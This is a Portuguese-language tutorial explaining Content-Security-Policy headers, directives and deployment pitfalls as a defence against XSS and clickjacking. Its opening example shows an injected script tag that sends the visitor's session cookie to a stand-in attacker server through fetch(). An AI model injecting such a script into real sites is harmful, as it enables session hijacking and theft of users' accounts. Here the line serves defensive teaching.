Em uma frase
Content-Security-Policy (CSP) é um padrão de segurança, entregue através de um header HTTP, que diz ao navegador quais fontes de conteúdo (como scripts, imagens e estilos) são confiáveis e devem ser carregadas, agindo efetivamente como um leão de chácara contra injeções maliciosas.
O problema que resolve
Nos primórdios da web, na era do velho oeste selvagem, a segurança era meio que deixada para depois. Um dos vilões mais desagradáveis que surgiram foi o Cross-Site Scripting, ou XSS. Em poucas palavras, XSS é um ataque onde um agente mal-intencionado consegue injetar seu próprio código malicioso (geralmente JavaScript) em um site que você confia.
Imagine um blog com uma seção de comentários. Você, dev, constrói o site com todo o cuidado. Mas você deixa passar um bug minúsculo na forma como exibe os comentários. Um atacante aparece e, em vez de escrever "Belo post!", ele envia um comentário como este:
<script>
// Roubar o cookie de sessão do usuário logado
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
Agora, todo outro usuário que visualiza aquele post do blog tem seu navegador executando este script. Como o script roda no domínio do seu blog, ele tem acesso a tudo que um script legítimo teria, como os cookies de sessão do usuário. O atacante agora pode sequestrar a sessão dele e se passar por ele. Sinistro.
Durante anos, a única defesa era sanitizar meticulosamente cada pedaço de entrada do usuário. Isso é chamado de "validação de entrada e codificação de saída" (input validation and output encoding), e ainda é extremamente importante. Mas também é incrivelmente difícil acertar 100%, o tempo todo. Um pequeno deslize e você está vulnerável.
O CSP nasceu da necessidade de "defesa em profundidade". A ideia é simples: e se o servidor pudesse dizer ao navegador: "Ei, eu sei que deveria ser perfeito, mas caso eu tenha vacilado e deixado um script malicioso passar, quero que você imponha algumas regras por mim. Execute apenas scripts que vêm do meu próprio domínio, my-app.com, e do Google Analytics. Se você vir um script de qualquer outra fonte, bloqueie-o e me avise."
Isso é CSP. É uma segunda linha de defesa que opera diretamente no navegador do usuário, transformando-o de uma vítima passiva em um agente de segurança ativo.
Como funciona por baixo dos panos
CSP não é mágica; é apenas uma string de texto entregue em um header de resposta HTTP. Os dois headers principais são:
Content-Security-Policy: Aplica a política. Se um recurso violar a política, ele é bloqueado.Content-Security-Policy-Report-Only: Um modo de "teste" (dry run). Ele relata as violações, mas na verdade não bloqueia nada, o que é uma mão na roda para testar e implantar uma nova política sem quebrar seu site.
O valor do header é uma série de diretivas, cada uma terminando com um ponto e vírgula. Uma diretiva consiste em um nome e uma lista de fontes permitidas.
Diretivas Comuns
Pense nas diretivas como categorias de conteúdo que você quer controlar.
| Diretiva | Controla... | O que cobre |
|---|---|---|
default-src |
O fallback | A lista de fontes padrão para a maioria das outras diretivas -src se elas não forem especificadas. Configure esta primeiro! |
script-src |
Scripts | Fontes de JavaScript, incluindo tags script, handlers inline (onclick) e mais. A mais importante para XSS. |
style-src |
Folhas de estilo (Stylesheets) | Arquivos CSS, tags style e atributos style inline. |
img-src |
Imagens | Tags <img>, favicons, etc. |
connect-src |
Conexões | URLs para fetch(), XMLHttpRequest, WebSocket, etc. Com o que seu front-end pode conversar? |
font-src |
Fontes (Fonts) | Fontes da web carregadas via @font-face. |
frame-src |
Frames | Fontes para elementos <iframe> e <frame>. |
report-uri |
Relatórios (Reporting) | (Obsoleta, mas comum) Uma URL para onde o navegador envia relatórios JSON de violações da política. |
report-to |
Relatórios (Reporting) | O substituto moderno para report-uri, usando a Reporting API. |
Valores de Fonte Comuns
Para cada diretiva, você especifica de onde o conteúdo tem permissão para vir.
| Fonte | Significado | Exemplo |
|---|---|---|
'self' |
A mesma origem | Permite conteúdo do mesmo domínio, esquema e porta do documento. |
'none' |
Nada | Bloqueia todo o conteúdo para essa diretiva. object-src 'none' é uma ótima ideia. |
example.com |
Um host específico | Permite conteúdo de example.com. |
*.example.com |
Host com curinga (wildcard) | Permite conteúdo de qualquer subdomínio de example.com. Use com cautela! |
https: |
Um esquema (scheme) | Permite conteúdo de qualquer fonte sobre HTTPS. |
'unsafe-inline' |
Código inline | Permite tags <script> e <style> inline, e atributos style ou onclick. Evite se possível! |
'unsafe-eval' |
Código dinâmico | Permite funções de avaliação de string como eval(). Um grande risco de segurança. |
'nonce-...' |
Um nonce criptográfico | Permite um script inline se seu atributo nonce corresponder ao do header. Ótimo para usar scripts inline específicos com segurança. |
'sha256-...' |
Um hash | Permite um script ou estilo inline se seu hash SHA256 corresponder ao do header. |
Juntando Tudo
Vamos dar uma olhada em uma política realista para uma aplicação web moderna:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Vamos analisar isso:
default-src 'self': Por padrão, permitir apenas recursos da nossa própria origem.script-src ...: Permitimos scripts da nossa própria origem, do nosso provedor de analytics e qualquer script inline que tenha o valor denonceespecífico. O servidor geraria um novo nonce aleatório para cada carregamento de página.style-src 'self' 'unsafe-inline': Permitimos folhas de estilo da nossa origem. O'unsafe-inline'sugere que podemos ter algum código legado que injeta atributosstyle, o que é uma situação comum (embora não ideal).img-src ...: Imagens podem vir da nossa origem, como URIsdata:ou do nosso CDN de imagens dedicado.connect-src ...: Nosso JavaScript do front-end só tem permissão para fazer chamadas de API para nossa própria origem e paraapi.my-app.com.font-src 'none',object-src 'none': Não usamos fontes personalizadas ou plugins como o Flash, então os bloqueamos completamente.frame-ancestors 'none': Isso impede que outros sites coloquem nosso site em um<iframe>, o que detém ataques de clickjacking.report-to csp-endpoint: Envia relatórios de violação para o endpoint de relatório chamadocsp-endpoint(configurado em outro lugar).
Histórias do mundo real
O Ladrão de Dados do E-Commerce
Uma loja online de médio porte adicionou um widget de chat de terceiros ao seu site para ajudar no atendimento ao cliente. Eles adicionaram o domínio do widget à sua diretiva script-src e pensaram que estavam seguros. O que eles não sabiam era que a própria empresa do widget de chat foi invadida e um atacante modificou o arquivo de script do widget. A nova versão maliciosa "raspava" a página de checkout em busca de números de cartão de crédito. Como o CSP da loja confiava no domínio de origem, o script malicioso foi carregado e executado sem problemas por semanas.
Lição: Seu CSP é uma cadeia de confiança. Quando você permite um domínio de terceiros, você não está apenas confiando naquela empresa; você está confiando na segurança deles, no pipeline de implantação deles e em todas as dependências deles. O Subresource Integrity (SRI) é outra ferramenta que pode ajudar a mitigar esse risco específico.
A Implementação Gradual
Uma grande organização de mídia queria implementar um CSP rígido em seu site de notícias de alto tráfego. Eles sabiam que implantá-lo de uma vez só poderia quebrar anúncios, vídeos e inúmeros outros recursos. Em vez de colocar no ar, eles implantaram uma política no modo Content-Security-Policy-Report-Only. Por duas semanas, eles apenas coletaram dados. O endpoint report-uri deles foi inundado com milhares de relatórios por hora. Eles canalizaram esses relatórios para um banco de dados e construíram um dashboard mostrando os recursos bloqueados com mais frequência e as páginas em que foram bloqueados. Eles descobriram dezenas de scripts de rastreamento legados e esquecidos, domínios de redes de anúncios e dependências de players de vídeo. Sistematicamente, eles removeram os recursos antigos ou adicionaram os legítimos à sua whitelist da política. Após um mês de refinamento, eles viraram a chave para o modo de aplicação. Nada quebrou.
Lição: Não voe às cegas. Use o modo Report-Only como seu copiloto. Ele permite que você construa uma política perfeita e do mundo real com base no tráfego real do usuário, transformando uma tarefa de segurança aterrorizante em um problema de análise de dados gerenciável.
A Ameaça da Extensão do Navegador
Um funcionário de uma empresa financeira usava uma extensão de navegador popular que "embelezava" páginas da web injetando seu próprio CSS e JavaScript. Na maioria dos sites, isso era inofensivo. Mas quando ele fez login no portal financeiro corporativo interno, o site se recusou a funcionar corretamente. Confuso, ele ligou para o TI. Um dev olhou o console do navegador e viu uma enxurrada de erros de violação de CSP: o portal estava bloqueando a injeção dos scripts e estilos da extensão. O CSP rígido do portal, que permitia apenas scripts e estilos de 'self', havia identificado corretamente o código da extensão como um recurso estranho e não confiável e o bloqueou. Isso evitou um vazamento de dados em potencial de uma extensão bem-intencionada, mas invasiva.
Lição: Um CSP forte protege seus usuários não apenas de seus próprios bugs em potencial, mas também de ameaças dentro do ambiente do navegador deles, como extensões maliciosas ou excessivamente permissivas.
Erros e armadilhas comuns
- Confiar em
'unsafe-inline'. Esta é a armadilha mais comum. Os devs encontram problemas com handlers de eventosonclickantigos ou tags<script>inline e recorrem ao'unsafe-inline'como uma solução rápida. Isso reabre um vetor enorme para ataques XSS. O caminho melhor é refatorar o código para usaraddEventListenerou, se você absolutamente precisar de um script inline, use um nonce ou um hash para colocá-lo na whitelist especificamente. - Esquecer do
default-src. Se você definir apenasscript-srcestyle-src, deixará outros vetores abertos. E as tags<object>? Ou workers? Sempre comece com umdefault-src 'self'oudefault-src 'none'restritivo e abra apenas o que você precisa, diretiva por diretiva. - Configurar o reporting, mas nunca olhar para ele. Um
report-urique aponta para um beco sem saída é inútil. Os relatórios de violação são seu sistema de alerta precoce. Eles podem alertá-lo sobre um novo ataque XSS acontecendo ou dizer que uma implantação recente quebrou um recurso legítimo para um subconjunto de usuários. Você precisa ter um processo para ingerir, agregar e revisar esses relatórios. - Usar wildcards permissivos demais. É tentador usar
script-src https://*.some-cdn.com, mas isso pode permitir que um atacante carregue um script dehttps://conta-de-usuario-malicioso.some-cdn.com. Seja o mais específico possível com seus hostnames. - Ignorar
frame-ancestors. O XSS recebe toda a atenção, mas o clickjacking é outra ameaça real. Um atacante pode carregar seu site em um<iframe>transparente sobre o site malicioso dele e enganar os usuários para que cliquem em botões no seu site.frame-ancestors 'none'ouframe-ancestors 'self'é uma defesa simples e poderosa que é frequentemente esquecida.
Por que isso deve estar no seu radar
Você deve pensar em CSP se você...
- Constrói qualquer aplicação web que lida com login de usuário, dados pessoais ou informações de pagamento.
- Exibe qualquer conteúdo enviado por usuários (comentários, perfis, posts de fórum).
- Integra múltiplos scripts de terceiros como analytics, anúncios, widgets de suporte ou gerenciadores de tags.
- Quer uma postura de segurança robusta, moderna e de defesa em profundidade para qualquer projeto web não trivial.
Resumindo, se você é um desenvolvedor web no século 21, o CSP deve ser uma parte padrão do seu kit de ferramentas. Não é mais um recurso exótico para os ultraparanoicos; é uma peça fundamental da segurança do front-end.
Aprofunde-se
- MDN Web Docs: Content Security Policy (CSP) - O guia e referência definitivo e prático.
- W3C Content Security Policy Level 3 - A especificação oficial. É densa, mas é a fonte da verdade.
- Web Fundamentals do Google sobre CSP - Uma ótima introdução de alto nível com conselhos práticos.
- report-uri.com - Um serviço para coleta de relatórios de CSP, mantido pelo especialista em segurança Scott Helme, cujo blog também é um recurso incrível sobre o tema.
- OWASP Cheat Sheet: Content Security Policy - Melhores práticas focadas em segurança do Open Web Application Security Project.